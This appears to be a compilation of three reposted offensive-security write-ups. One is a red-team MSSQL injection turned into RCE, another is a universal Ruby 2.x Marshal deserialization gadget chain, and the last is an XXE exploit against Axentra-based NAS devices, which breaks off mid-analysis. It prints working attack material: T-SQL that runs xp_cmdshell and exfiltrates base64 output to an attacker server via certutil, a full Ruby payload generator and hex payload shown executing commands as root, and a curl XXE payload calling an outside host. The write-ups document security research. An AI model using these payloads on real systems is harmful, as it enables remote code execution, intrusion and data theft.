From MSSQL to RCE

( Original text by Pablo Martinez )

Introduction

In a Red Team operation, a perimeter asset vulnerable to SQL Injection was identified. Through this vulnerability it was possible to execute commands on the server, requiring an unusual tactic to achieve the exfiltration of the output of the commands. In this article we will explain the approach that was followed to successfully compromise this first perimeter element that was later used to pivot the internal network.

0x01 – Stacked queries

The starting environment is an ASP application that uses a Microsoft SQL Server as its database engine.

The vulnerability is quickly located because, when inserting a simple quotation mark, an ODBC Driver error is displayed on the page indicating that the closing quotation mark is missing. After several failed attempts to form a valid query or SQL expression (e.g. concatenation with the”+” operator), the option of the injection point being a parameter in a stored procedure call is considered. To confirm this, new parameters are introduced by injecting a comma, which effectively causes an error due to an excess of arguments.

Error caused by the passage of too many arguments

As the documentation specifies, the parameters passed to a stored procedure must be constants or variables, so typical union-based or blind techniques cannot be applied. The alternative: the use of stacked queries, supported by default in ASP environments with SQL Server.

Stacked queries consist of the execution of two or more SQL queries in the same transaction, separated by the semicolon character. In this way, it is possible to dump information from the database using time-based techniques:

In this case, the web application does not handle critical information or users with greater privileges, so the Red Team proceeds to investigate new ways, such as the execution of commands.

In MSSQL, there is a procedure called xp_cmdshell that receives a command from Windows, executes it and returns the result as rows of text. The problem in a scenario like this is that the output will never be returned to the user, since the injection no longer occurs in the original query. Therefore, to check that the commands are executed correctly, a by-default Windows utility is used: certutil.exe.

This command, whose original utility is the management of certificates, can be very useful in a Red Team exercise for many reasons:

  • It is by-default Windows binary signed by Microsoft.
  • Allows to make HTTP/s connections and is proxy-aware (uses the proxy configured in the system).
  • Allows to perform Base64 or hex encoding/decoding.

In our scenario, it will be used to make a HTTPs request to a web server controlled by us, so we can confirm that the command was actually executed.

Our server receives a request with User-Agent “CertUtil URL Agent

Although the most common case is that the user of the application does not have permissions to execute the xp_cmdshell procedure (by default disabled), it has been seen on several occasions that, due to a bad configuration, it does have permissions to enable it. In that case, the following queries could be used:

  • EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE;
  • EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;

From here, we’ll see how to exfiltrate the output of any command executed.

0x02 – Data exfiltration

At this point we can execute system commands and make HTTP/s requests to a web server controlled by us. Mixing these two ingredients, it is trivial to exfiltrate information by sending a GET request to https://redteam/[codified_information]. In this case, Base64 is chosen over hexadecimal, because it allows to save more information in fewer characters.

The procedure to achieve it is as follows:

  1. Declare a variable of “table” type to save the output that returns the xp_cmdshell procedure (remember that it returns the result in several rows).
  2. Dump the output of the command to the previous variable.
  3. Concatenate the rows of the table, separated by a line break.
  4. Encode the resulting string in Base64 and save it in a variable.
  5. Generate the certutil command, appending the string with the result.
  6. Execute it.

There is no direct way to perform steps 3 and 4 in T-SQL, but they can be sorted out with two little tricks:

  • There is no function like group_concat (MySQL), so the FOR XML clause is used to concatenate all the rows. In this way, it is possible to obtain the data in the form of a single string (XML), from which we remove the information of the labels by indicating an empty string in PATH mode:
  • SELECT column+char(10) as ‘text()’ FROM table FOR XML path(») — A line break is appended at the end of each row — char(10)
  • On the other hand, there is also no direct way to convert a string to Base64, but there is an option to represent the binary data in Base64. The solution, then, is to convert the string previously into a binary data type:
  • SELECT cast(‘tarlogic’ AS varbinary(max)) FOR XML path(»), BINARY BASE64

To perform this encoding there are other alternatives, such as the use of XQuery.

Putting all the steps together in T-SQL, they would look like the following:

  1. declare @r varchar(4120),@cmdOutput varchar(4120);
  2. declare @res TABLE(line varchar(max));
  3. insert into @res exec xp_cmdshell ‘COMMAND’;
  4. set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as ‘text()’ from @res for xml path(»)) as varbinary(max))) for xml path(»),binary base64);
  5. set @r=concat(‘certutil -urlcache -f https://redteam/’,@cmdOutput);
  6. exec xp_cmdshell @r;

When reading the table containing the result of the command, the collation has been taken into account, since the compromised server returned information such as letters with accent mark that spoiled the Base64 encoding.

Request log containing the output of the commands in Base64

Also, when decoding Base64, it must be taken into account that, since it’s a Windows environment, the output of the command will be represented in Unicode.

0x03 – Automatization

Once we have the ability to execute and view the output of any command, we proceed to automate the process. To do this, the Red Team developed a tool that offers the user a prompt to enter a command. Then, it generates the payload needed to run it while a web server is deployed in order to receive the result. Finally, it decodes it and displays it on the screen.

Tool for automatization

The tool source code, as proof of concept, is available at the following link: https://gist.github.com/xassiz/51f392afbe1c0374a008fa85d621455e.

Conclusion

We have seen how a perimeter asset that a priori did not handle critical or useful information to carry out an intrusion, has allowed the Red Team to turn it into a stepping stone to pivot to the internal network of the target. For this reason, it is important to consider the need for a hardening process and the creation of alerts for this kind of exfiltration, and not just periodic vulnerability audits.

Реклама

RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN

( Original text by Luke Jahnke )

INTRODUCTION

This blog post details exploitation of arbitrary deserialization for the Ruby programming language and releases the first public universal gadget chain to achieve arbitrary command execution for Ruby 2.x. This will be described in the following sections which detail deserialization issues and related work, discovery of usable gadget chains, and finally exploitation of ruby serialization.

BACKGROUND

Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or be stored on the filesystem or in a database. These bytes include all the relevant information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has it’s own distinct serialization format. Some programming languages refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used.

The Marshal class has the class methods “dump” and “load” which can be used as follows:

Figure-1: Usage of Marshal.dump and Marshal.load
$ irb
>> class Person
>>   attr_accessor :name
>> end
=> nil

>> p = Person.new
=> #<Person:0x00005584ba9af490>

>> p.name = "Luke Jahnke"
=> "Luke Jahnke"

>> p
=> #<Person:0x00005584ba9af490 @name="Luke Jahnke">

>> Marshal.dump(p)
=> "\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET"

>> Marshal.load("\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET")
=> #<Person:0x00005584ba995dd8 @name="Luke Jahnke">

THE PROBLEMS WITH DESERIALIZATION OF UNTRUSTED DATA

A common security vulnerability occurs when a developer incorrectly assumes that an attacker cannot view or tamper with a serialized object as it is an opaque binary format. This can result in any sensitive information stored within the object, such as credentials or application secrets, being disclosed to an attacker. It also frequently results in privilege escalation in the case of the serialized object having instance variables which are subsequently used for permission checks. For example, consider a User object, containing a username instance variable, that is serialized and may be tampered with by an attacker. It is trivial to modify the serialized data and change the username variable to a username of a higher privileged user, such as “admin”. While these attacks can be powerful, they are highly context sensitive as well as being unexciting from a technical point-of-view and are not discussed further in this blog post.

Code reuse attacks are also possible where pieces of already available code, called gadgets, are executed to perform an unwanted action such as executing an arbitrary system command. As deserialization can set instance variables to arbitrary values, this allows an attacker to control some of the data that gadgets operate on. This also allows an attacker to use a gadget to invoke a second gadget, as methods are frequently called on objects stored in instance variables. When a series of gadgets have been linked together in this manner, it is called a gadget chain.

PREVIOUS PAYLOADS

Insecure deserialization is in the eighth spot in the OWASP Top 10 Most Critical Web Application Security Risks for 2017 but limited details have been published on constructing gadget chains for Ruby. However, a good reference can be found in the Phrack paper Attacking Ruby on Rails Applications, where joernchen of Phenoelit describes in section 2.1 a gadget chain discovered by Charlie Somerville that achieves arbitrary code execution. The technique will not be covered again here for brevity, however the pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

So, the gauntlet has been thrown down. Can we remove all of these pre-requisites and still achieve arbitrary code execution?

HUNTING FOR GADGETS

Since we want to craft a gadget chain that has no dependencies, gadgets can only be sourced from the standard library. It should be noted that not all of the standard library is loaded by default. This significantly limits the number of gadgets we have at our disposal. For example, Ruby 2.5.3 was tested and found to have 358 classes loaded by default. While this seems high, on closer inspection it is revealed that 196 of these classes have not defined any of their own instance methods. The majority of these empty classes are uniquely named descendants of the Exception class used to differentiate catchable exceptions.

The limited number of available classes means it is incredibly beneficial to find gadgets or techniques that increase the amount of standard library that is loaded. One technique is to look for gadgets that when invoked will require another library. This is useful as even though the require may appear to be in the scope of a certain module and/or class, it will in fact pollute the global namespace.

Figure-2: An example of a method calling require (lib/rubygems.rb)
module Gem
...
  def self.deflate(data)
    require 'zlib'
    Zlib::Deflate.deflate data
  end
...
end

If the above Gem.deflate method was included in a gadget chain, the Zlib library from Ruby’s standard library would be loaded, as demonstrated below:

Figure-3: Demonstration of the global namespace being polluted
$ irb
>> Zlib
NameError: uninitialized constant Zlib
...

>> Gem.deflate("")
=> "x\x9C\x03\x00\x00\x00\x00\x01"

>> Zlib
=> Zlib

While numerous examples exist of the standard library dynamically loading other parts of the standard library, one instance was identified that attempts to load a third-party library if it has been installed on the system, as shown below:

Figure-4: SortedSet from the standard library loading the third-party RBTree library (lib/set.rb)
...
class SortedSet < Set
...
  class << self
...
    def setup
...
          require 'rbtree'

The following figure shows a sample of the extensive locations that will be searched when requiring a library that is not installed, including other library directories:

Figure-5: A sample of the output from strace when Ruby attempts to load RBTree on a default system without RBTree installed
$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl
     1	[pid    32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     2	[pid    32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     3	[pid    32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
   129	[pid    32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   130	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   131	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   132	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   133	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   134	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   135	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   136	[pid    32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
...

A more useful gadget would be one which passes an attacker controlled argument to require. This gadget would enable loading of arbitrary files on the filesystem, thus providing the use of any gadgets in the standard library, including the ERBgadget used in Charlie Somerville’s gadget chain. Although no gadgets were identified that allow complete control of the require argument, an example of a gadget that allows partial control can be seen below:

Figure-6: A gadget allowing partial control of the require argument (ext/digest/lib/digest.rb)
module Digest
  def self.const_missing(name) # :nodoc:
    case name
    when :SHA256, :SHA384, :SHA512
      lib = 'digest/sha2.so'
    else
      lib = File.join('digest', name.to_s.downcase)
    end

    begin
      require lib
...

The above example was unable to be utilised as const_missing is never called explicitly by any Ruby code in the standard library. This is unsurprising as const_missing is a hook method that, when defined, will be invoked when a reference is made to an undefined constant. A gadget such as @object.__send__(@method, @argument), which allows calling an arbitrary method on an arbitrary object with an arbitrary argument, would evidently allow calling the above const_missing method. However, if we already had such a powerful gadget, we would no longer need to increase the set of available gadgets as it alone allows executing arbitrary system commands.

The const_missing method can also be invoked as a result of a calling const_get. The digest method of the Gem::Packageclass defined in the file lib/rubygems/package.rb is a suitable gadget as it calls const_get on the Digest module (although any context will also work) with control of the argument. However, the default implementation of const_get performs strict validation of the character set which prevents traversal outside the digest directory.

Another way of invoking const_missing is implicitly with code such as Digest::SOME_CONSTANT. However, Marshal.load does not perform constant resolution in such a way that will invoke const_missing. More details can be found in Ruby issue 3511 and 12731.

Another example gadget which also provides partial control of the argument passed to require is shown below:

Figure-7: Calling the [] method with an argument results in that argument being included in the argument to require(lib/rubygems/command_manager.rb)
class Gem::CommandManager
  def [](command_name)
    command_name = command_name.intern
    return nil if @commands[command_name].nil?
    @commands[command_name] ||= load_and_instantiate(command_name)
  end

  private

  def load_and_instantiate(command_name)
    command_name = command_name.to_s
...
        require "rubygems/commands/#{command_name}_command"
...
    end
  end
...

The above example was also not utilised due to the “_command” suffix and no technique being identified that allowed truncation (i.e. using null bytes). A number of files do exist with the “_command” suffix but these were not explored further as a different technique was found to increase the set of available gadgets. However, an interested researcher may find it interesting to investigate when exploring this topic.

As shown below, the Rubygem library makes extensive use of the autoload method:

Figure-8: A number of calls to the autoload method (lib/rubygems.rb)
module Gem
...
  autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder'
  autoload :ConfigFile,         'rubygems/config_file'
  autoload :Dependency,         'rubygems/dependency'
  autoload :DependencyList,     'rubygems/dependency_list'
  autoload :DependencyResolver, 'rubygems/resolver'
  autoload :Installer,          'rubygems/installer'
  autoload :Licenses,           'rubygems/util/licenses'
  autoload :PathSupport,        'rubygems/path_support'
  autoload :Platform,           'rubygems/platform'
  autoload :RequestSet,         'rubygems/request_set'
  autoload :Requirement,        'rubygems/requirement'
  autoload :Resolver,           'rubygems/resolver'
  autoload :Source,             'rubygems/source'
  autoload :SourceList,         'rubygems/source_list'
  autoload :SpecFetcher,        'rubygems/spec_fetcher'
  autoload :Specification,      'rubygems/specification'
  autoload :Util,               'rubygems/util'
  autoload :Version,            'rubygems/version'
...
end

autoload works in a similar way to require, but only loads the specified file when a registered constant is accessed for the first time. Due to this behaviour, if any of these constants are included in a deserialization payload the corresponding file will be loaded. These files themselves also contain require and autoload statements further increasing the number of files that could provide useful gadgets.

Although autoload is not expected to remain in the future release of Ruby 3.0, the use in the standard library has recently increased with the release of Ruby 2.5. New code using autoload was introduced in this git commit and can be seen in the following code snippet:

Figure-9: New usage of autoload introduced in Ruby 2.5 (lib/uri/generic.rb)
require 'uri/common'
autoload :IPSocket, 'socket'
autoload :IPAddr, 'ipaddr'

module URI
...

To assist in exploring this extended set of available gadgets in the standard library, we can load every file registered with autoload with the following code:

Figure-10: Bruteforcing constant resolution on every object with every symbol
ObjectSpace.each_object do |clazz|
  if clazz.respond_to? :const_get
    Symbol.all_symbols.each do |sym|
      begin
        clazz.const_get(sym)
      rescue NameError
      rescue LoadError
      end
    end
  end
end

After running the above code we take a new measurement of how many classes are available for providing gadgets, and find 959 classes loaded, an increase of 658 from the earlier value of 358. Of these classes, 511 have defined at least one instance method. The ability to load these additional classes provides significantly improved conditions to begin our search for useful gadgets.

INITIAL/KICK-OFF GADGETS

The start of every gadget chain needs a gadget that will be invoked automatically during or after deserialization. This is the initial entrypoint to execute further gadgets with the ultimate goal of achieving arbitrary code execution or other attacks.

An ideal initial gadget would be one that is automatically invoked by Marshal.load during deserialization. This removes any opportunity for code executed after deserialization to defensively inspect and protect against a malicious object. We suspect it may be possible to automatically invoke a gadget during deserialization as it is a feature in other programming languages such as PHP. In PHP, if a class has the magic method __wakeup defined it will be immediately invoked when deserializing an object of this type. Reading the relevant Ruby documentation reveals that if a class has an instance method marshal_load defined then this method will be invoked upon deserialization of an object of this class.

Using this information we examine every loaded class and check if they have a marshal_load instance method. This was achieved programatically with the following code:

Figure-11: Ruby script to find all classes with marshal_load defined
ObjectSpace.each_object(::Class) do |obj|
  all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods

  if all_methods.include? :marshal_load
    method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s

    puts obj
    puts "  marshal_load defined by #{method_origin}"
    puts "  ancestors = #{obj.ancestors}"
    puts
  end
end

SURPLUS GADGETS

There were numerous gadgets discovered during the research, however only a small selection was used in the final gadget chain. For brevity of this blog post, a few interesting ones are summarised below:

Figure-12: Combined with a gadget chain that calls the cache method, this gadget allows arbitrary code execution (lib/rubygems/source/git.rb)
class Gem::Source::Git < Gem::Source
...
  def cache # :nodoc:
...
      system @git, 'clone', '--quiet', '--bare', '--no-hardlinks',
             @repository, repo_cache_dir
...
  end
...
Figure-13: This gadget can be used to have to_s return something other than an expected String object (lib/rubygems/security/policy.rb)
class Gem::Security::Policy
...
  attr_reader :name
...
  alias to_s name # :nodoc:

end
Figure-14: This gadget can be used to have to_i return something other than an expected Integer object (lib/ipaddr.rb)
class IPAddr
...
  def to_i
    return @addr
  end
...
Figure-15: This code generates a gadget chain that when deserialized enters an infinite loop
module Gem
  class List
    attr_accessor :value, :tail
  end
end

$x = Gem::List.new
$x.value = :@elttam
$x.tail = $x

class SimpleDelegator
  def marshal_dump
    [
      :__v2__,
      $x,
      [],
      nil
    ]
  end
end

ace = SimpleDelegator.new(nil)

puts Marshal.dump(ace).inspect

BUILDING THE GADGET CHAIN

The first step in creating the gadget chain is to build a pool of candidate marshal_load initial gadgets and ensure they call methods on objects we supply. This is very likely to contain every initial gadget as “everything is an object” in Ruby. We can reduce the pool by reviewing the implementations and keeping any that call a common method name on an object we control. Ideally the common method name should have many distinct implementations to choose from.

For my gadget chain I settled on the Gem::Requirement class whose implementation is shown below and grants the ability to call the each method on an arbitrary object:

Figure-16: Gem::Requirement partial source code (lib/rubygems/requirement.rb) — see inline comments
class Gem::Requirement
  # 1) we have complete control over array
  def marshal_load(array)
    # 2) so we can set @requirements to an object of our choosing
    @requirements = array[0]

    fix_syck_default_key_in_requirements
  end

  # 3) this method is invoked by marshal_load
  def fix_syck_default_key_in_requirements
    Gem.load_yaml

    # 4) we can call .each on any object
    @requirements.each do |r|
      if r[0].kind_of? Gem::SyckDefaultKey
        r[0] = "="
      end
    end
  end

end

Now with the ability to call the each method we require a useful implementation of each to get us closer to arbitrary command execution. After reviewing the source code for Gem::DependencyList (and the mixin Tsort) it was found that a call to it’s eachinstance method will result in the sort method being called on it’s @specs instance variable. The exact path taken to reach the sort method call is not included here, but the behavior can be verified with the following command which uses Ruby’s stdlib Tracer class to output a source level execution trace:

Figure-17: Verifying Gem::DependencyList#each results in @specs.sort
$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort'
#0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:     specs = @specs.sort.reverse

With this new ability to call the sort method on an array of arbitrary objects, we leverage it to call the <=> method (spaceship operator) on an arbitrary object. This is useful as Gem::Source::SpecificFile has an implementation of the <=> method that when invoked can result in the name method being invoked on it’s @spec instance variable, as shown below:

Figure-18: Gem::Source::SpecificFile partial source code (lib/rubygems/source/specific_file.rb)
class Gem::Source::SpecificFile < Gem::Source
  def <=> other
    case other
    when Gem::Source::SpecificFile then
      return nil if @spec.name != other.spec.name # [1]

      @spec.version <=> other.spec.version
    else
      super
    end
  end

end

The ability to call the name method on an arbitrary object is the final piece of the puzzle as Gem::StubSpecification has a namemethod which calls its data method. The data method then calls the open method, which is actually Kernel.open, with it’s instance variable @loaded_from as the first argument, as shown below:

Figure-19: Partial source code of Gem::BasicSpecification (lib/rubygems/basic_specification.rb) and Gem::StubSpecification(lib/rubygems/stub_specification.rb)
class Gem::BasicSpecification
  attr_writer :base_dir # :nodoc:
  attr_writer :extension_dir # :nodoc:
  attr_writer :ignored # :nodoc:
  attr_accessor :loaded_from
  attr_writer :full_gem_path # :nodoc:
...
end

class Gem::StubSpecification < Gem::BasicSpecification

  def name
    data.name
  end

  private def data
    unless @data
      begin
        saved_lineno = $.

        # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.
        open loaded_from, OPEN_MODE do |file|
...

Kernel.open can be used to execute arbitrary commands when the first character of the first argument is a pipe character (“|”) as outlined in the relevant documentation. It will be interesting to see if the TODO comment directly above the open is resolved soon.

GENERATING THE PAYLOAD

The following script was developed to generate and test the previously described gadget chain:

Figure-20: Script to generate and verify the deserialization gadget chain
#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

The following Bash one-liner verifies the payload successfully executes against an empty Ruby process, showing versions 2.0 to 2.5 are affected:

Figure-21: Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)

CONCLUSION

This post has explored and released a universal gadget chain that achieves command execution in Ruby versions 2.0 to 2.5.

As this post has illustrated, intricate knowldge of the Ruby standard library is incredibly useful in constructing deserialization gadget chains. There is a lot of opportunity for future work including having the technique cover Ruby versions 1.8 and 1.9 as well as covering instances where the Ruby process is invoked with the command line argument --disable-all. Alternate Ruby implementations such as JRuby and Rubinius could also be investigated.

There has been some research into Fuzzing Ruby C extensions and Breaking Ruby’s Unmarshal with AFL-Fuzz. After finishing this investigation there appears to be ample opportunity for further research, including manual code review, of the native code implementations of the marshal_load methods shown below:

Figure-22: Instances of marshal_load implemented in C
complex.c:    rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);
iseq.c:    rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);
random.c:    rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);
rational.c:    rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);
time.c:    rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);
ext/date/date_core.c:    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
ext/socket/raddrinfo.c:    rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);

 

zero-day RCE crafted from a tricky XXE, affecting millions of users on NetGear Stora, SeaGate Home, & Medion LifeCloud NAS

( Original text by Paulos Yibelo )

L,DR; not a while ago, right after hearing California is raising its eyebrows on internet-connected device security, Daniel Eshetu and I were exploring the current security state of popular Network Attached Storage (NAS) devices. The California Consumer Privacy ACT,which influenced such measures requires manufacturers to have hardened and above-average enterprise security, enforcing much interesting and unusual care for devices; mainly the so called internet-connected “IoT” devices. In my opinion it should be mandatory to have such security standards for devices that spread so rapidly, especially if they are are mandated correctly and put manufactures on the spot for not caring.

So while dissecting the firmware of the first NAS, it became clear we weren’t dealing with one of those easy-to-compromise kumbaya codebases. Axentra had clean code, no obvious backdoors and even had proper security measures in case something should go wrong. Looking online, ~2 million online NAS can be found. Interesting target, well-spread, good codebase. Our research was supported by the privacy advocate WizCase.

This is a prolonged post detailing how it was possible to craft an RCE exploit from a tricky XXE and SSRF.

About Axentra.

Axentra Hipserv is a NAS OS that runs on multiple devices including NetGear Stora, SeaGate Home, Medion LifeCloud NAS and provides cloud-based login, file storage, and management functionalities for different devices. It’s used in different devices from different vendors. The company provides a firmware with a web interface that mainly uses PHP as a backend. The web interface has a rest API endpoint and a pretty typical web management interface with file manager support.

Firmware Analysis.  

After extracting the firmware using binwalk, the backend source were located in /var/www/html/with the webroot in /var/www/html/html. The main handler for the web interface ishomebase.php, and RESTAPIController.php is the main handler for the rest API. All the php files were encoded using IONCube which has a public decoder, and given the version used was an old one, decoding the files didn’t take long.

Once the files were decoded we proceeded to look at the source code, most of it was well written. During the initial analysis we looked at different configuration files which we thought might come into play. One of them was php.ini located in /etc which contained the configuration line ‘register_globals=on’, this was pretty exciting as turning register_globals on is a very insecure configuration and could lead to a plethora of vulnerabilities. But looking through the entire source code, we could not find any chunk of code exploitable through this method. The Axentra code as mentioned before was well written and variables where properly initialized, used and carefully checked, so register_globals was not going to work.

As we kept looking through the source code and moved on to the REST-API endpoint things got a little more interesting, the initial requests are routed through RESTAPIController.phpwhich loads proper classes from /var/www/html/classes/REST and the service classes were in/var/www/html/classes/REST/services in individual folders. While looking through the services most of them were properly authenticated, but there were a few exceptions that were not, one of these was the request aggregator endpoint located at/www/html/classes/REST/services/aggregator in the filesystem and/api/2.0/rest/aggregator/xml from the web url. We will look at how this service works and how we were able to exploit it.

The first file in the directory was AxAggregatorRESTService.php. This file defines and constructs the rest service. Files of the same structure exist in every service directory with different names ending with the same RESTService.php suffix. In this file there were interesting lines (shown below). Note that line numbers might be inaccurate since the files were decoded and we didn’t bother to remove the header generated by the decoder (a block of comment at the beginning of each file plus random breaks).

JUICE A: /var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php

line 13: private $requiresAuthenticatedHipServUser = false//This shows the service does not require authentication.
line 14: private $serviceName = ‘aggregator’; //the service name..

line 1718:
if (( count( $URIArray ) == 1 && $URIArray[0] == ‘xml’ )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
                $resourceClassName = $this->loadResourceClass( ‘XMLAggregator’ ); // Load a resource class XMLAggregator

The code on line 18 calls a function called loadResourceClass with is provided by axentras RESTAPI framework and loads a resource (service handler) class/file from the current rest services directory after adding the appropriate prefix (Ax) and suffix (RESTResource.php). The code for this function is shown below.

classes/REST/AxAbstractRESTService.php

line 2530:
function loadResourceClass($resourceName) {
$resourceClassName = ‘Ax’ . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) .‘RESTResource’;
require_once( REST_SERVICES_DIR . $this->serviceName . ‘/’ . $resourceClassName .‘.php’ );
return $resourceClassName;
}
}

The next file we had to look at was AxXMLAggregatorRESTResource.php which is loaded and executed by the REST framework. This file defines the functionality of the REST API endpoint, inside of it is where our first bug was found (XXE). Let’s take a look at the code.

/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php

line 14:
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class

line 16:
if (( ( ( $requestBody == » || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) ||!$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != ‘requests’)) {
AxRecoverableErrorException;
throw new ( null, 3 );
}

Now as you can see on the 16th line this file loads xml from the user without validation. Now most php programmers and security researchers would argue this is not vulnerable since external entity loading is disabled in libxml by default and since our code has not called

libxml_disable_entity_loader(false), but one thing to note here is the Axentra firmware uses the libxml library to parse xml data, and libxml started disabling external entity loading by default starting from libxml2 version 2.9 but Axentras firmware has version 2.6 which does not have external entity loading disabled by default, and this leads to an XXE attack, the following request was used to test the XXE.

curl command with output:

Command:

curl kd ‘<?xml version=»1.0″?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM «http://SolarSystem:9091/XXE_CHECK»> %dtd; ]> <requests> <request href=»/api/2.0/rest/3rdparty/facebook/» method=»GET»></request> </requests>’http://axentra.local/api/2.0/rest/aggregator/xml

Output:

<?xml version=»1.0″?>
<responses>
<response method=»GET» href=»/api/2.0/rest/3rdparty/facebook/»>
<errors><error code=»401″ msg=»Unauthorized»/></errors>
</response>
</responses>%

which produced the following on out listening server:

root@Server:~# nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091

^C
root@Server:~#

Now that we had XXE working, we could try and read files and try to dig out sensitive info, but ultimately we wanted full remote control. The first thought was to extract the sqlite database containing all usernames and passwords, but this turned out to be a no go since xxe and binary data don’t work so well together, even encoding the data using php filters would not work. And since this method would have required another RCE in the webinterface to take full control of the device, we thought of trying something new.

